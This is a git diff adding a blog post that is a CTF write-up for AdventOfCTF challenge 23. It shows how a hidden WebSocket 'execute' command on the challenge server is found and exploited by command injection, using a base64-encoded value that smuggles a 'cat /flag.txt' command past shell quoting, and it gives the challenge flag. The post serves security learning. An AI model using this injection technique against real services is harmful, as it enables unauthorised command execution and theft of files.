diff --git a/content/posts/adventofctf/challenge_23.md b/content/posts/adventofctf/challenge_23.md new file mode 100644 index 0000000..48838f5 --- /dev/null +++ b/content/posts/adventofctf/challenge_23.md @@ -0,0 +1,228 @@ ++++ +author = "Maik de Kruif" +title = "Challenge 23 - AdventOfCTF" +date = 2021-03-16T20:52:38+01:00 +description = "A writeup for challenge 23 of AdventOfCTF." +cover = "img/adventofctf/497784f7a3314f8aa5b8464432e30bbe.png" +tags = [ + "AdventOfCTF", + "challenge", + "ctf", + "hacking", + "writeup", + "web", + "websockets", +] +categories = [ + "ctf", + "writeups", + "hacking", +] ++++ + +- Points: 2300 + +## Description + +If all you do is talk, there are bound to be secret features. The flag is stored in /flag.txt. + +Visit https://23.adventofctf.com to start the challenge. + +## Recon + +When opening the page, we're greeted with, what looks like, a chat screen. If we type a message in the message box and send it, it appears on the screen. + +If we take a look at the source, we also find a bit of javascript: + +```js +$(function () { + var socket = io(); + $("form").submit(function () { + socket.emit("chat message", { message: $("#m").val() }); + $("#m").val(""); + return false; + }); + socket.on("chat message", function (msg) { + console.log(msg.command); + if (msg.command === "code") { + $("#messages").append($("
  • ").html("
    " + msg.message + "
    ")); + } else { + $("#messages").append($("
  • ").text(msg.message)); + } + window.scrollTo(0, document.body.scrollHeight); + }); +}); +``` + +## Finding the vulnerability + +From the JavaScript code we can see that the chat uses WebSockets. To take a deeper look at it, let's switch over to the network tab in Chrome and click on the request with the type "websocket". + +{{< figure src="/img/adventofctf/23/websocket.png" title="Websocket in Chrome DevTools" >}} + +If we click on it, a tab with the messages sent on the websocket will open. We can see some numbers here, these are just heartbeat packets to keep the connection alive. Now, let's send a new message and have a look at what it actually sends/receives. + +After we send the message, we see the following entry being added to the websocket message list. + +```js +⬆42["chat message", {message: "Hi"}] +⬇42["chat message", {message: "Hi"}] +``` + +We can see this message contains two parts; the event name and the message itself. We also only see a message variable, while in the javascript code we also saw it looked for a `"command"`. Let's try to manually add it to the message. + +### Manually sending a message + +In Chrome (to my knowledge) we can't easily send a message on a websocket. We could use Burp Suit to do it but for this writeup I'll stick with Chrome. To send a message on the websocket, we need the `socket` variable from the javascript code. To get it, go to the `Sources` tab and click on `(index)`. Now click on line number 28 to add a breakpoint there. We choose this place as it will trigger a breakpoint just before a message gets sent and we thus have access to the socket variable. + +{{< figure src="/img/adventofctf/23/breakpoint.png" title="Javascipt breakpoint in Chrome" >}} + +Now if we try to send a message, chrome will pause the page. The console will now also have the scope of the piece of code at the breakpoint. This means that if we enter `socket` in the console, will get the socket object back: + +```js +> socket +< Socket {receiveBuffer: Array(0), sendBuffer: Array(0), ids: 0, acks: {…}, flags: {…}, …} +``` + +Let's save this object to the global scope so we can always access it. To do this, let's enter the following code in the console: + +```js +window.socket = socket; +``` + +We can then click the continue button or press `F8` to continue the script. To verify we still have access to the socket, we can try to send a message using the console. I used the following code for this: + +```js +socket.emit("chat message", { message: "Hello" }); +``` + +After running this, we also see the message pop up in the chat window. + +### Sending a command + +Because the code tries to read `msg.command`, let's try adding a command to the message. We can do that using the following code: + +```js +socket.emit("chat message", { + message: "Hello", + command: "ls", +}); +``` + +As we expect from the code, `"ls"` is printed to the console but nothing else seems to happen. Maybe the command does not exist, let's try the common `help` command. + +```js +socket.emit("chat message", { message: "Hello", command: "help" }); +``` + +This time it returns a different message: "Allowed message types are: help, execute and empty". + +## Exploit + +The `execute` command looks interesting, so let's take a further look at it. + +```js +socket.emit("chat message", { message: "Hello", command: "execute" }); +``` + +Upon sending it, the server returns "Invalid BASE64". This probably means it is trying to read base64 encoded data. But from where? Let's try replacing the message with a base64 encoded command. + +```bash +> echo -n "ls" | base64 -w 0 +bHM=⏎ +``` + +```js +socket.emit("chat message", { message: "bHM=", command: "execute" }); +``` + +This time we got a different result: + +```text +ERR: Error: Command failed: /bin/ls 'ls' +ls: ls: No such file or directory +``` + +This means the backend is trying to list the contents of "ls", let's try again with a `/` as the message: + +```bash +> echo -n "/" | base64 -w 0 +Lw==⏎ +``` + +```js +socket.emit("chat message", { message: "Lw==", command: "execute" }); +``` + +This returns the following: + +```text +STDOUT: apps +bin +dev +etc +flag.txt +home +lib +media +mnt +opt +proc +root +run +sbin +srv +sys +tmp +usr +var +``` + +The only thing left is reading the `flag.txt` file. From the ls error we know the backend executes the following: `/bin/ls '[MESSAGE]'`. This means we have to construct a command that works around the quotes around our input. An example for the input would be `/'; cat '/flag.txt` as this makes the command become the following: + +```bash +/bin/ls '/'; cat '/flag.txt' +``` + +Let's try that. + +```bash +> echo -n "/'; cat '/flag.txt" | base64 -w 0 +Lyc7IGNhdCAnL2ZsYWcudHh0⏎ +``` + +```js +socket.emit("chat message", { + message: "Lyc7IGNhdCAnL2ZsYWcudHh0", + command: "execute", +}); +``` + +This will give us the following output: + +```text +STDOUT: apps +bin +dev +etc +flag.txt +home +lib +media +mnt +opt +proc +root +run +sbin +srv +sys +tmp +usr +var +NOVI{i_hacked_websockets_and_1_am_still_s@ne} +``` + +## Solution + +We got the flag! It is `NOVI{i_hacked_websockets_and_1_am_still_s@ne}`. diff --git a/static/img/adventofctf/23/breakpoint.png b/static/img/adventofctf/23/breakpoint.png new file mode 100644 index 0000000..26f2a7e Binary files /dev/null and b/static/img/adventofctf/23/breakpoint.png differ diff --git a/static/img/adventofctf/23/websocket.png b/static/img/adventofctf/23/websocket.png new file mode 100644 index 0000000..3924324 Binary files /dev/null and b/static/img/adventofctf/23/websocket.png differ diff --git a/static/img/adventofctf/497784f7a3314f8aa5b8464432e30bbe.png b/static/img/adventofctf/497784f7a3314f8aa5b8464432e30bbe.png new file mode 100644 index 0000000..296e3d1 Binary files /dev/null and b/static/img/adventofctf/497784f7a3314f8aa5b8464432e30bbe.png differ